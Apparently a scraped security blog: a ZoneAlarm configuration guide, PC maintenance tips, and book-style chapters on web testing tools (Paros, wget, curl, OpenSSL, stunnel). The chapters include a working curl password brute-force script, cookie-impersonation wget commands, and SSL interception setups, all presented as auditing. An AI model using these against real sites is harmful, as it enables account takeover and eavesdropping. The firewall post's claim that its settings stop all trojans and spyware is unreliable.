ep6network | Network security

Configure Zone alarm security settings, Zone alarm configuration

2009-08-18T13:05:00.000+05:30

Configuring ZoneAlarm Security Settings

If you're running ZoneAlarm Pro you will probably have considered that most of the "advanced" settings might as well be in Chinese for all the use they are. User friendly they are not!

If you are not on a LAN (connected to another computer in a network) you can use this guide to give your firewall some real muscle and a new lease of life:

Launch ZoneAlarm Pro and click to highlight the "Firewall" tab on the left hand side . In the pane that appears on the right hand side in the section "Internet Zone Security" set the slider control to "High" Then click the "Custom" button in the same section.

The next settings page is divided into two sections with tabs Internet Zone and Trusted Zone at the top of the page. Under the Internet Zone tab there is a list of settings that can be accessed by scrolling. At the top is the high security settings and the only thing that should check from there is "allow broadcast/multicast". The rest should be unchecked.

Scroll down until you get to the medium security settings area. Check all the boxes in this section until you get to "Block Incomming UDP Ports". When you check that you will be asked to supply a list of ports, and in the field at the bottom of the page enter 1-65535

Then go back to the list and check the box alongside "Block Outgoing UDP Ports" and at the bottom of the page enter 1-19, 22-79, 82-7999, 8082-65535

Repeat this proceedure for the following settings
"Block Incomming TCP Ports": 1-65535
"Block Outgoing TCP Ports": 1-19, 22-79, 82-7999, 8082-65535
Then click "Apply", "Ok" at the bottom of the page.

Back in the right hand "Firewall" pane go next to the yellow "Trusted Zone Security" section and set it to "high" with the slider. Click "Custom" and repeat the above proceedure this time choosing the Trusted Zone tab at the top of the settings page.

These settings will stop all incoming packets @ports 1-65535 and also block all pings, trojans etc... this will also stop all spyware or applications from phoning home from your drive without your knowledge!

Secure your Computer and Network | Networking security

2009-08-18T13:02:00.002+05:30

You may not realize it, but your computer and your car have something in common: they both need regular maintenance. No, you don't need to change your computer's oil. But you should be updating your software, keeping your antivirus subscription up to date, and checking for spyware. Read on to learn what you can do to help improve your computer's security.

Here are some basics maintenance tasks you can do today to start improving your computer's security. Be sure you make these part of your ongoing maintenance as well.

* Sign up for software update e-mail notices. Many software companies will send you e-mail whenever a software update is available. This is particularly important for your operating system (e.g., Microsoft VV!|VD0VV$® or Macintosh), your antivirus program, and your firewall.
* Register your software. If you still have registration forms for existing software, send them in. And be sure to register new software in the future. This is another way for the software manufacturer to alert you when new updates are available.
* Install software updates immediately.
When you get an update notice, download the update immediately and install it. (Remember, downloading and installing are two separate tasks.)
An ounce of prevention

A few simple steps will help you keep your files safe and clean.

* Step 1: Update your software
* Step 2: Backup your files
* Step 3: Use antivirus software and keep it updated
* Step 4: Change your passwords

Developing ongoing maintenance practices

Now that you've done some ground work, it's time to start moving into longer term maintenance tasks. These are all tasks that you should do today (or as soon as possible) to get started. But for best results, make these a part of a regular maintenance schedule. We recommend setting aside time each week to help keep your computer secure.

* Back up your files. Backing up your files simply means creating a copy of your computer files that you can use in the event the originals are lost. (Accidents can happen.) To learn more read our tips for backing up information.

* Scan your files with up to date antivirus software. Use your antivirus scan tool regularly to search for potential computer viruses and worms. Also, check your antivirus program's user manual to see if you can schedule an automatic scan of your computer. To learn more, read our tips for reducing your virus risk
.
* Change your passwords. Using the same password increases the odds that someone else will discover it. Change all of your passwords regularly (we recommend monthly) to reduce your risk. Also, choose your passwords carefully. To learn more, read our tips for creating stronger passwords
.

Making a schedule

One of the best ways to help protect your computer is to perform maintenance regularly. To help you keep track, we suggest making a regular "appointment" with your computer. Treat it like you would any other appointment. Record it in your datebook or online calendar, and if you cannot make it, reschedule. Remember, you are not only helping to improve your computer, you are also helping to protect your personal information.

Web Hacking Tools (part 4)

2009-05-28T23:27:00.000+05:30

Application Inspection

So far we have looked at tools that examine the web server. In doing so, we miss vulnerabilities that may be present in the web application. This class of vulnerabilities arises from insecure programming and misconfiguration of the interaction between web servers and databases. We can’t explain the nature of web application insecurity and the methodology and techniques for finding those vulnerabilities within a single chapter. What we will show are the tools necessary for you to peek into a web application. Although a few of these programs have grown from the security community, they deserve a place in a web application programmer’s debugging tool kit as well.

Additional stunnel.conf Directives


Directive	Description
foreground	Values: yes or no Available only for Unix-based stunnel execution. It will print activity to stderr, which is an excellent way to troubleshoot connectivity problems.
TIMEOUTbusy	Value: time in seconds Time to wait for data. Available only as part of a specific service definition.
TIMEOUTclose	Value: time in seconds Time to wait for close_notify socket messages. The stunnel developers recommend a value of zero when using the Internet Explorer browser. Available only as part of a specific service definition.
TIMEOUTidle	Value: time in seconds Time to keep an idle connection before closing it. Available only as part of a specific service definition.

Achilles

Aptly named, Achilles helps pick apart web applications by acting as a proxy with a pause button. A normal proxy sits between a web browser and a web server, transparently forwarding requests and responses between the two. Achilles works similarly, but it adds functionality that lets you modify contents on the fly. For example, Achilles lets you manipulate cookie values, POST requests, hidden Form fields, and every other aspect of an HTTP transaction—even over SSL!

Implementation

Because it’s a proxy, Achilles must first be set up to listen on a port and placed into “intercept” mode. Clicking the play button (the triangle) starts the proxy, and clicking the stop (square) button stops it—think of a tape recorder’s controls.

It’s a good idea to leave the Ignore .jpg/.gif option enabled. Modifying image files rarely bypasses a web application’s security stance, and the number of requests it generates from a single web page quickly becomes annoying.

Next, set your web browser’s proxy to the IP address (127.0.0.1 if it’s the same computer) and port (5000, by default) on which Achilles listens. Normally, it’s easiest to run Achilles on your localhost. Any web browser that supports an HTTP proxy, from Lynx to Galeon, can use Achilles. The restriction to the Windows platform is that Achilles is a Win32 binary.

In basic intercept mode, you can browse a web site or multiple web sites transparently. The Log To File option will save the session to a file. This is useful for surveying a web application. The logfile holds every link that was visited, including helper files such as JavaScript (*.js) and other include (*.inc) files that are not normally seen in the URL. The other advantage is that you now have a copy of the HTML source of the target web site. This source might reveal hidden Form fields, cookie values, session-management variables, and other information about the application. The techniques for picking apart a web application are well beyond the scope of this chapter, but having a tool like Achilles is an absolute requirement for performing such tests.

In active intercept mode, you can view the requests made by the browser (Intercept Client Data) or responses sent by the server (Intercept Server Data (text)). Intercepting client data enables you to manipulate GET and POST requests as well as cookie values. This capability is used to bypass authentication and authorization schemes and to impersonate other users. Achilles' text box basically functions as a text editor.

Using Achilles probably sounds abstract by now. This is definitely a tool in the “pictures are worth a thousand words” category. Launch Achilles, change your web browser’s proxy setting, make sure to choose Intercept Client Data, and browse your favorite web site. You’ll be surprised to see what goes on behind the scenes of ordering a book or checking your bank balance!

Interception Problems Achilles intercepts only text data. A site that uses ActiveX components, also known as COM (Component Object Model) objects or CAB (cabinet) files, is more resilient to interception because such files appear as binary data that Achilles always ignores. Achilles still correctly proxies the HTTP connection, but you will not be able to manipulate the data. Other binary objects, such as downloading a ZIP or PDF file, are also proxied but are not shown in the text window.

Web sites that use SSL often generate errors in Achilles. A problematic site with 20 objects on its home page (such as pictures, style sheets, JavaScript files, and HTML) might generate 20 “Client failed SSL connection” errors. This is not really a big deal, but it does mean that you have to click 20 different OK buttons to close each error indication.

Some sites tend to cause Achilles to crash unexpectedly. There does not seem to be any good rule of thumb that determines which sites cause crashes and which do not. One workaround is to log onto the site with the proxy, and then start the proxy and change your browser’s settings once you come to a particular part of the application you wish to inspect. Unfortunately, this technique fails against sites that use strong session management. Finally, Achilles handles HTTP Basic Authentication, but any web application that uses NTLM Authentication (supported by IIS) will not work through Achilles.

WebSleuth

WebSleuth puts proxy functionality right in the browser. It is a set of Visual Basic routines wrapped around Internet Explorer. Obviously, this ties you to the Win32 platform, but the tool proves useful enough to consider for web application testing. It allows you to step through a site while examining cookies and HTML source, taking notes along the way. It has also grown from an Internet Explorer shim to a full-featured application testing tool. The 1.36 version is free, but buggy. The 1.41 series fixed several bugs and adds new functionality, most noticeably a request interceptor.

Implementations

The green, red, and blue buttons located on the bottom right control site navigation: Go, Back, Stop, Forward, Reload. The Properties, Toolbox, Plugins, and Favorites menus are accessed by clicking the menu with either mouse button.

The Source tab, enables you not only to view the HTML source of a web page but also apply syntax highlighting (AutoColor option) and even reformat muddled HTML into a more human-readable version (Cleanup option). This is a boon to anyone who has ever tried to slog through web applications whose HTML is littered with punctuation characters, tags, and too few spaces to separate it all.

The best addition to WebSleuth is the inclusion of the Intercept tab, configuration options cover almost any scenario one could wish to cover. The options enable you only to trigger the intercept engine for URLs with a particular file extension or if the URL contains a query string, which is one of the most common reasons for intercepting a request. It also triggers on POST requests or if the URL contains a particular string. Another setting allows for a Gateway Proxy, which enables you to chain WebSleuth with another proxy—something that Achilles sorely lacks.

Another addition to the control tab selections is the Spider tab, Just as you would expect, this tab sets the options for WebSleuth’s internal site crawling engine. The crawler has difficulty with authentication-based applications but nevertheless performs fairly well. A nice feature, which isn’t present on other local proxies, is the ability to add notes for each page. Highlight any of the pages in the left-hand pane of the Window and the right-hand pane displays and Add/Edit Notes button. You can take notes if the page has been tested, if any vulnerabilities were discovered, or if the HTML contained sensitive information.

The Properties menu button displays information about the current page. It does not affect “properties” of the application, nor can it change properties of the current page. It merely reports information. It is useful for extracting focused types of information about the current page: Links, Forms, Cookies, Frames, Query Strings, Images, Scripts, Comments, and Meta Tags.

The Toolbox menu button has some of the best functions. The HTML Transformations function is especially cool. It removes scripts that disable many types of input validation routines. It shows hidden fields, which reveal session, server, and client variables. Also, the Generate Report function creates an excellent list of the current page’s cookies, links, query strings, Form information, script references, comments, and META tags.

The Plugins menu serves as WebSleuth’s method of extending its core capabilities. It enables such activities as request editing (now over SSL as well), testing HTTP PUT and DELETE verbs, and cookie attribute manipulation.

Paros Proxy

Now that Achilles and WebSleuth have been mentioned, it is time to introduce the new heavyweight in the local proxy arena: Paros. While Achilles introduced the utility of local proxies, its development stalled prematurely and WebSleuth is intractably tied to Internet Explorer. Paros is a Java-based proxy that not only imitated the concept of a local proxy, but added significant enhancements to usability, testing techniques, and data presentation. In other words, you should download, install, and try Paros, because it’s an excellent tool!

Implementation

Paros is pure Java. Hence, you can download and compile the source yourself or simply obtain the binary and begin testing. You will need to use the Java 1.4 environment, so be sure to update your system’s Java installation if it does not meet this requirement. Once installed, launch Paros and set your browser’s HTTP proxy setting for port 8080 and HTTPS proxy for port 8443. Now, you are ready to begin examining a web application: navigate through the application as you normally would via the web browser. Paros silently records the directory and file structure of every request. The directory structure of an osCommerce application in the Web Site Hierarchy window in the upper-left corner of the interface.

Although Paros observes every aspect of the request, whether the request uses HTTP or HTTPS, it will log only cookies and the site hierarchy by default. If you wish to record other aspects of the application, navigate to the Filters tab on the interface and set your desired options, Even though the GET and POST files have an .xls extension, they are tab-delimited plain-text files that you can view with a text editor or import into a spreadsheet application. The files are written to the directory from which Paros is executed.

Your next option is to instruct Paros to scan the items in the site hierarchy for common vulnerabilities. Navigate to the Scan tab and check the types of scans you wish to perform, scans are not performed automatically. You must right-click an entry in the Web Site Hierarchy window. This opens a pop-up menu that enables you to select Scan Selected Node, Delete Selected Node, or Clear All. If you select Scan Selected Node, Paros begins its predefined tests.

The filters and scan options represent techniques not available in Achilles and only approximated in WebSleuth. Of course, the greatest benefit of a local proxy is the ability to intercept and rewrite web requests. Paros provides this capability in the Trap tab, which is split into two sections. The Header section shows the intercepted request when Trap Request is checked. This allows you to view and edit the entire URL and Headers that will be sent to the server. Once you click Continue, the Header and Body sections are populated with, appropriately enough, the HTTP Header and Body data returned by the server. This process is shown in the next two figures. You should notice that a single quote has been inserted into the forum='all URL parameter. Header, which used to contain the modified request, not contains the Date, Server, and other fields. More interesting is the Body section, which displays the error produced in the back-end MySQL database due to the extraneous single quote inserted into the forum parameter.

The ability to rewrite and insert arbitrary characters into HTTP GET and POST requests makes a tool like Paros indispensable for auditing the security of a web application. Paros is just a tool; the techniques and tricks of testing web application security are far too broad to cover in this chapter.

Finally, Paros has an additional function hidden under the Tools menu. You can have Paros spider any HTTP or HTTPS application and populate the site hierarchy window automatically. The spider function works with varying success that depends on what the application requires with regard to cookies, headers, and authentication. Nevertheless, it serves as a nice utility that will improve over time.

Wget

The final tool we present probably seems out of place compared to the previous tools. Wget is a command-line tool that basically copies a web site’s contents. It starts at the home page and follows every link until it has discovered every page of the web site. When someone performs a security audit of a web application, one of the first steps is to sift through every page of the application. For spammers, the goal would be to find e-mail addresses. For others, the goal would be to look for programmers’ notes that perhaps contain passwords, SQL statements, or other juicy tidbits. In the end, a local copy of the web application’s content enables the person to search large sites quickly for these types of information.

Wget has other uses from an administrator’s point of view, such as creating mirrors for highly trafficked web sites. The administrators for the mirrors of many web sites (such as http://www.samba.org and http://www.kernel.org) use wget or similar tools to reproduce the master server on alternative servers. They do this to reduce load and to spread web sites geographically.

Implementation

As wget’s main purpose is to download the contents of a web site, its usage is simple. To spider a web site recursively, use the –r option:

$ wget -r www.victim.com
...(continues for entire site)...

The -r or --recursive option instructs wget to follow every link on the home page. This will create a www.victim.com directory and populate that directory with every HTML file and directory wget finds for the site. A major advantage of wget is that it follows every link possible. Thus, it will download the output for every argument that the application passes to a page. For example, the viewer.asp file for a site might be downloaded four times:

viewer.asp@ID=555
viewer.asp@ID=7
viewer.asp@ID=42
viewer.asp@ID=23

The @ symbol represents the ? delimiter in the original URL. The ID is the first argument (parameter) passed to the viewer.asp file. Some sites may require more advanced options such as support for proxies and HTTP Basic Authentication. Sites protected by Basic Authentication can be spidered in this way:

[root@meddle]# wget –r --http-user:dwayne --http-pass:woodelf \
> https://www.victim.com/secure/
...continues for entire site...

Sites that rely on cookies for session state or authentication can also be spidered by wget. Create a cookie file that contains a set of valid cookies from a user’s session. The prerequisite, of course, is that you must be able to log in to the site to collect the cookie values. Then, use the --load-cookies option to instruct wget to impersonate that user based on the cookies:

$ wget --load-cookies=cookies.txt \
> –r https://www.victim.com/secure/menu.asp

Still other sites purposefully set cookies to defeat most spidering tools. Wget can handle session and saved cookies with the appropriately named –cookies option. It is a Boolean value, so you can either turn it off (the default) or on:

$ wget --load-cookies=cookies.txt –cookies=on \
> –r https://www.victim.com/secure/menu.asp

The --http-user and --http-passwd options enable wget to access web applications that employ HTTP Basic Authentication. Set the values on the command line and watch wget fly:

$ wget --http-user=guest –http-passwd=no1knows \
> –r https://www.victim.com/maillist/index.html

In the end, wget provides a quick method for downloading the HTML contents of a web application for off-line analysis. If you are frustrated by the spidering capabilities of Paros, then use wget to perform these tasks

Web Hacking Tools (part 3)

2009-05-28T23:17:00.000+05:30

All-Purpose Tools

The following tools serve as workhorses for making connections over HTTP or HTTPS. Alone, they do not find vulnerabilities or secure a system, but their functionality can be put to use to extend the abilities of a web vulnerability scanner, peek into SSL traffic, or encrypt client/server communication to protect it from network sniffers.

Curl

Where Netcat deserves the bragging rights of super network tool, curl deserves considerable respect as super protocol tool. Curl is a command-line tool that can handle DICT, File, FTP, Gopher, HTTP, HTTPS, LDAP, and Telnet requests. It also supports HTTP proxies. As this chapter focuses on web auditing tools, we’ll stick to the HTTP and HTTPS protocols. By now, it has become a de facto tool on most Linux and BSD distributions, plus Mac OSX and Cygwin.

Implementation

To connect to a web site, specify the URL on the command line, like so:

$ curl https://www.victim.com

Automated scripts that spider a web site or brute-force passwords really demonstrate the power of curl. some of the most useful of curl’s options.

Useful Web-Oriented Curl Options
Option	Description
-H/--header	Set a client-side header. Use an HTTP header to imitate several types of connections. User-Agent: Mozilla/4.0 Spoof a particular browser Referer: http://localhost/admin Bypass poor authorization that checks the Referer page Basic Auth: xxxxx Set a username and password Host: localhost Specify virtual hosts
-b/--cookie -c/--cookie-jar	-b uses a file that contains cookies to send to the server. For example, -b cookie.txt includes the contents of cookie.txt with all HTTP requests. Cookies can also be specified on the command line in the form of -b ASPSESSIONID=INEIGNJCNDEECMNPCPOEEMNC; -c uses a file that stores cookies as they are set by the server. For example, -c cookies.txt holds every cookie from the server. Cookies are important for bypassing Form-based authentication and spoofing sessions.
-d/--data	Submit data with a POST request. This includes Form data or any other data generated by the web application. For example, to set the Form field for a login page, use -d login=arbogoth&passwd=p4ssw0rd. This option is useful for writing custom brute-force password guessing scripts. The real advantage is that the requests are made with POST requests, which are much harder to craft with a tool such as Netcat.
-G/--get	Change a POST method so that it uses GET. This applies only when you specify the –d option.
-u/--user -U/--proxy-user	Set the username and password used for basic authentication or a proxy. To access a site with Basic Authentication, use -u user:password. To access a password-protected proxy, use -U user:password. This is meaningless if the –X option is not set.
--url	Set the URL to fetch. This does not have to be specified but helps for clarity when many command-line options are used. For example, —url https://www.victim.com/admin/menu.php?menu=adduser Curl gains speed optimizations when multiple URLs are specified on the command line because it tries to makes persistent connections. This means that all requests will be made over the original connection instead of establishing a new connection for each request.
-x/--proxy	Set an HTTP proxy. For example, -x http://intraweb:80/.
-K/--config	Set a configuration file that includes subsequent command-line options. For example, -K www.victim.com.curl. This is useful when it becomes necessary to specify multiple command-line options.

So far we've delineated a few of the useful options that curl offers, but it still doesn't really seem to do much of anything. Curl's power, however, lies in its adaptability to any web (or other protocol) situation. It simplifies making scripts. Perl, Python, and C have libraries that aid HTTP connections and URL manipulation, but they require many support libraries and a steeper learning curve. That is not to say that Perl can't do anything curl can do—curl is just easier. It's one reinvention of the wheel that raises the bar for other tools.

The following shell script demonstrates how to use curl as a customized brute-force password guessing tool for a web site. The script can be run on nearly any Unix- or Linux-based operating system or with the help of Cygwin on Windows. The web site uses Form-based authentication in a POST request. The login process is further complicated by a cookie value that must be passed to the server when the user logs in and is modified if the password is correct.

#!/bin/sh
# brute_script.sh
# Use curl and a password file to guess passwords in form-based
# authentication.  2002 M. Shema
if [ -z $1 ]; then
  echo -e "\n\tUsage: $0 "
  exit 1;
fi
PASSLIST=`/bin/cat $1`
USERNAME=administrator
# change the COOKIE as necessary
COOKIE="MC1=V=3&LV=20013&HASH=17C9&GUID=4A4FC917B47F4D6996A7357D96;"
CMD="/usr/bin/curl \
-b $COOKIE \
-d user=$USERNAME \
-c cookies.txt \
--url http://localhost/admin/login.php"
for PASS in $PASSLIST; do
# specify Headers on this line to work around inclusion of spaces
`$CMD \
  -H 'User-Agent: Mozilla/4.0' \
  -H 'Host: localhost' \
  -d passwd=$PASS`
# upon a successful login, the site changes the user's cookie value,
# but we don't know what the new value is
RES=`grep -v $COOKIE cookies.txt`
if [ -n '$RES' ]; then
  echo -e "found $RES with $USER : $PASS\n";
  exit 0;
fi
done

We find a dictionary of common passwords and then run the script against the target. If we're lucky, we'll find the administrator's password. If not, we'll move on to the next user.

OpenSSL

Any web attack that can be performed over port 80 can also be performed over port 443, the default SSL port. Most tools, exploit code, and scripts target port 80 to avoid the overhead of programming encryption routines and handling certificates. An OpenSSL proxy enables you to redirect normal HTTP traffic through an SSL connection to the target server.

Implementation

The OpenSSL binary is more accurately a suite of functionality, most of which we will not use. The following exercise will focus on OpenSSL for Linux distributions, but in general multiple distributions and binaries do exist; see http://www.openssl.org for more information. If you were to type openssl on the command line without arguments, you would be sent this to the openssl pseudo-shell:

$ openssl
OpenSSL>

OpenSSL contains more functionality than we need to set up a proxy. We are interested in the SSL/TLS client, or the s_client option. You cannot obtain usage information by typing s_client –h, but OpenSSL does have a man page. Now we can connect directly to an SSL server using the s_client command. The –quiet option reduces the amount of error information:

$ openssl s_client –quiet –connect website:443
depth=0 /C=fr/ST=idf/L=paris/Email=webmaster@website
verify error:num=18:self-signed certificate
verify return:1
depth=0 /C=fr/ST=idf/L=paris/Email=webmaster@victim.com
verify error:num=18:self-signed certificate
verify return:1
HEAD / HTTP/1.0
Date: Tue, 26 Feb 2002 05:44:54 GMT
Server: Apache/1.3.19 (Unix)
Content-Length: 2187
Connection: close
Content-Type: text/html

When we typed HEAD / HTTP/1.0, the server returned its header information, thus confirming that the SSL connections succeed. The lines previous to the HEAD command indicate the certificate’s information and status. It includes the distinguished name (DN, for you LDAP enthusiasts) and the e-mail address of the person who created the certificate. OpenSSL also indicated that the certificate was self-signed—that is, it has not been verified or generated under a third-party certificate authority (CA). For the most part, we ignore these errors as long as we can establish the SSL connection.

Note

In a true e-commerce situation, the validity of a server certificate is extremely important. The certificate’s domain should always match the domain of the URL that it protects, it should not be on a revocation list, and it should not be expired.

Now we could save some typing by piping the HEAD request into the s_client command:

$ echo –e "HEAD / HTTP/1.0\n\n" | \
> openssl s_client –quiet –connect website:443

This puts us one step closer to being able to make raw requests of an HTTPS server, but it doesn’t solve the problem of using a tool such as arirang to scan an SSL server. To do so, we need to run the s_client command in a proxy situation. In the previous examples, s_client connected to the SSL server, an HTTP request was sent, an HTTP response was received, and then the connection closed. Arirang or Stealth could make more than 6000 requests. Obviously, we need a better degree of automation.

The Unix (and Cygwin) inetd program solves this problem. The inetd daemon runs on a system and listens on specific TCP and UDP ports. When another host requests to connect to one of the ports that inetd monitors, inetd makes a quick access check and then passes on valid connection requests to another daemon. For example, most Unix FTP servers operate from the inetd daemon. A file called /etc/inetd.conf contains an entry that instructs inetd how to handle FTP requests:

# /etc/inetd.conf example content
ftp    stream    tcp    nowait    root   /usr/libexec/ftpd   ftp -US

The first column, ftp in this case, represents the port number on which the service listens. The value ftp could be replaced with 21, the default FTP port, and everything would still function properly. How does this help us set up an SSL proxy? Well, we just create a new service that listens on a TCP port of our choice. Then, instead of launching an FTP daemon, we launch our s_client command:

# /etc/inetd.conf SSL proxy example content
80    stream    tcp    nowait    root    /home/istari/ssl_proxy.sh

The /home/istari/ssl_proxy.sh file contains two lines:

#!/bin/sh
openssl s_client -quiet -connect www.victim.com:443 2> /dev/null

Note

Setting up an SSL proxy on an Internet-facing server might have unexpected consequences. Always restrict access to the SSL proxy using the /etc/hosts.allow and /etc/hosts.deny files, or their equivalents for your Unix variant.

Now whenever a connection is made to the localhost on port 80, the connection is forwarded over SSL to www.victim.com on port 443. Any connection that you wish to make to the victim server is made to the localhost (or the IP address of the proxy) instead. This will be helpful when trying to audit client/server communications when the server responds only to SSL requests. You can establish your own plaintext-to-SSL proxy. If both parts of the connection, client and server, refuse to talk in any protocol other than SSL, you will need to use stunnel to peek into the traffic.

Inted Alternative

Inetd is not the only method of launching a service. It does have the advantage of being able to apply TCPWrappers, a method for allowing or denying access to a port based on IP address. Not all operating systems use inetd, and the Windows operating system definitely does not have this function.

Cygwin If your friends still pick on you because you're running some version of Windows, don't fret. The Cygwin environment has an inetd daemon and the OpenSSL software that allows you to run an SSL proxy. Cygwin does complain about using 80 for the service name. The /etc/inetd.conf file should contain the following:

# /etc/inetd.conf Cygwin SSL proxy example
www    stream  tcp   nowait  root  /home/ssl_proxy.sh ssl_proxy.sh

Then you can run inetd from the command line. We like to run it with –d, the debugging option, just to make sure everything works correctly:

$ /usr/sbin/inetd.exe -d /etc/inetd.conf

Now the proxy is listening on port 80 and forwarding connections to the target specified in the ssl_proxy.sh script.

Installing inetd as a native Windows service takes a few more manipulations. Two methods can be used to create the service. The prerequisite for each is that the Windows PATH environment variable contains C:\cygwin\bin or wherever the cygwin\bin directory resides. Inetd can install itself as a service:

$ /usr/sbin/inetd.exe --install-as-service /etc/inetd.conf

To remove it, use the --remove-as-service option.

Cygwin's built-in utilities also install and run the inetd service:

cygrunsrv -I inetd -d "CYGWIN inetd" -p /usr/sbin/inetd -a –d
-e CYGWIN=ntsec

cygrunsrv -S inetd

The –R option removes the inetd service.

Xinetd Xinetd puts a little “extra” into the inetd daemon. It improves logging, connection handling, and administration. On systems that support xinetd, the service definitions are usually in the /etc/xinetd.d directory. Create an SSL proxy service using this xinetd syntax:

#default: off
#description: OpenSSL s_client proxy to www.victim.com
service 80
{
  socket_type = stream
  wait = no
  protocol = tcp
  user = root
  server = /root/ssl_proxy.sh
  only_from = 127.0.0.1
  disable = no
}

As always, be aware of running services with root privileges and services to which only you should have access.

Netcat (sort of) For one-off connections, such as running a compiled exploit that normally works against port 80, Netcat saves the day. You may not be able to run a whisker scan correctly, but a single connection will succeed. Whisker has the advantage of working on Unix and Windows systems, provided the OpenSSL suite is installed. A Netcat pseudo-proxy fits in a single command:

$ nc -vv -L –p 80 -e "openssl s_client -quiet \
> -connect www.victim.com:443"

The –L option ("listen harder") instructs Netcat to continue listening even if a client closes the connection. The –e option contains the s_client command to connect to the target. Then, connect to port 80 on the listening host to access the SSL server on the target (www.victim.com in the example).

You will have to use the original version of Netcat to do this. On OpenBSD, for example, the –L option is replaced by –k and the –e option is deprecated since Unix supports pipes (|).

An OpenBSD command looks like this:

$ nc –vv –k –l 80 | openssl s_client –quiet \
> –connect www.victim.com:443

Of course, it doesn't make sense to add the extra step of using Netcat. You should be able to pipe the output of the exploit directly into the s_client command, skipping a step. Then again, there may be scenarios in which strict network controls or mixed OS environments actually make this useful.

Stunnel

OpenSSL is excellent for one-way SSL conversions. Unfortunately, you can run into situations in which the client sends out HTTPS connections and cannot be downgraded to HTTP. In these cases, you need a tool that can either decrypt SSL or sit between the client and server and watch traffic in clear text. Stunnel provides this functionality.

You can also use stunnel to wrap SSL around any network service. For example, you could set up stunnel to manage connections to an Internet Message Access Protocol (IMAP) service to provide encrypted access to e-mail (you would also need stunnel to manage the client side as well).

Implementation

Stunnel now has two development branches: the 3.x series and 4.x series. The majority of this section relates to the command-line options for the 3.x series because the command line tends to be easier to deal with in rapidly changing environments and one-off testing of services. Check out the end of the section for configuration differences in the 4.x series, which relies on a single file to control stunnel’s activity. Both the 3.x and 4.x series provide the same capabilities and all of the techniques can be applied to either version.

SSL communications rely on certificates. The first thing you need is a valid PEM file that contains encryption keys to use for the communications. Stunnel comes with a default file called stunnel.pem, which it lets you define at compile time.

If you wish to use a different certificate, use this openssl command:

$ openssl req -new -out custom.pem -keyout custom.pem -nodes -x509 \
> -days 365
...follow prompts...
$ openssl dhparam 512 >> custom.pem

Now the custom.pem file is ready for use. Stunnel looks for stunnel.pem by default, or you can use your own with the –p option.

Monkey in the Middle What if you need to view the data being sent over an SSL connection? You might need to examine the data passed between a web-based client application and its server, but the client transmits in HTTPS and the server accepts only HTTPS. In this case, you need to slip stunnel between the client and server, downgrade the connection to HTTP so it is readable, and then turn the traffic back into HTTPS so the server accepts it. This requires two stunnel commands.

Run stunnel in normal daemon mode (-d). This mode accepts SSL traffic and outputs traffic in clear text. The –f option forces stunnel to remain in the foreground. This is useful for watching connection information and making sure the program is working. Stunnel is not an end-point program. In other words, you need to specify a port on which the program listens (-d <port>) and a host and port to which traffic is forwarded (-r <host:port>). The following command listens for SSL traffic on port 443 and forwards non-SSL traffic to port 80. If we’re just making a monkey in the middle, the –r points to the other stunnel command:

$ stunnel –p custom.pem –f –d 443 –r :80
2002.04.15 16:56:16 LOG5[464:1916]: Using '80' as tcpwrapper service
name
2002.04.15 16:56:16 LOG5[464:1916]: stunnel 3.22 on
x86-pc-mingw32-gnu WIN32 with OpenSSL?0.9.6c 21 dec 2001
2002.04.15 16:56:16 LOG5[464:1916]: FD_SETSIZE=4096, file ulimit=-1
(unlimited) -> 2000 clients allowed

The other stunnel command is similar, but it is used in client mode (-c) to accept traffic in clear text and output traffic encrypted by SSL. In this example, the command listens on port 80 and then sends SSL traffic to the final destination on port 443:

$ stunnel –p custom.pem –f –d 80 –r www.victim.com:443 –c
2002.04.15 17:00:10 LOG5[1916:1416]: Using '80' as tcpwrapper service
name
2002.04.15 17:00:10 LOG5[1916:1416]: stunnel 3.22 on
x86-pc-mingw32-gnu WIN32 with OpenSSL
0.9.6c 21 dec 2001
2002.04.15 17:00:10 LOG5[1916:1416]: FD_SETSIZE=4096, file ulimit=-1
unlimited) -> 2000 clients allowed

If we run these commands on different computers (or between a computer and a VMware session), we can sniff the traffic that is forwarded over port 80.

SSL for a Service Stunnel provides the same functionality of inetd with the addition of SSL encryption. Stunnel supports TCPWrappers natively, which means that it checks the /etc/hosts.allow and /etc/hosts.deny files upon starting. This makes it possible for you to apply encryption to just about any service. For example, IMAP is a protocol for remote mailbox access. The drawback with IMAP is that passwords can be sniffed.

This is what the IMAP service configuration looks like when run from /etc/inetd.conf:

imap     stream  tcp     nowait  root    /usr/sbin/tcpd imapd

The service name is imap (TCP port 143) and the TCPWrappers daemon executes the IMAP daemon once a connection is opened on port 143.

Now take a look at the equivalent service configuration under stunnel. The following command would be run from the command line, not as part of /etc/inetd.conf:

# stunnel -p imapd.pem -d 143 -l /usr/sbin/imapd.exe  -N imapd
2002.04.15 17:08:38 LOG5[1820:1680]: Using 'imapd' as tcpwrapper
service name
2002.04.15 17:08:38 LOG5[1820:1680]: stunnel 3.22 on
x86-pc-mingw32-gnu WIN32 with OpenSSL
0.9.6c 21 dec 2001
2002.04.15 17:08:38 LOG5[1820:1680]: FD_SETSIZE=4096, file ulimit=-1
unlimited) -> 2000 clients allowed

You’re already familiar with the –d option, but here we’ve introduced –l and –N. The –l option launches the specified program for each incoming connection. In this case, we launched the imapd daemon. The –N is useful, especially on Cygwin systems for forcing a service name for TCPWrappers inspection. The service names are found in the /etc/services file and are necessary to match entries in the /etc/hosts.allow and /etc/hosts.deny files.

Stunnel-4.x The latest version of stunnel represents a change in architecture and improved cross-platform functionality. Installation follows the familiar commands:

./configure
make
make install

It even includes a native Win32 binary that installs and runs as a service. Use that version instead of trying to compile stunnel within Cygwin. If you choose to use stunnel on a Windows platform, use the –install option to install stunnel as a service and –uninstall when you wish to remove it. Consequently, it can be controlled with the net start and net stop commands just as any other Windows service.

The most important difference between 3.x and 4.x from a user perspective is that 3.x was purely command-line driven and 4.x uses a single configuration file. Whichever version you use is a matter of preference, but the 4.x series provides a better security model if you wish to use stunnel to wrap SSL around a service. Here is a shortened version of the default configuration file for stunnel 4.04:

# Comment it out on Win32
cert = /usr/local/etc/stunnel/mail.pem
chroot = /usr/local/var/run/stunnel/
# PID is created inside chroot jail
pid = /stunnel.pid
setuid = nobody
setgid = nogroup

# Authentication stuff
#verify = 2
# don't forget about c_rehash Capath
# it is located inside chroot jail:
#CApath = /certs
# or simply use CAfile instead:
#CAfile = /usr/local/etc/stunnel/certs.pem

# Some debugging stuff
#debug = 7
#output = stunnel.log

# Use it for client mode
#client = yes

# Service-level configuration

[pop3s]
accept  = 995
connect = 110

[imaps]
accept  = 993
connect = 143

#[https]
#accept  = 443
#connect = 80
#TIMEOUTclose = 0

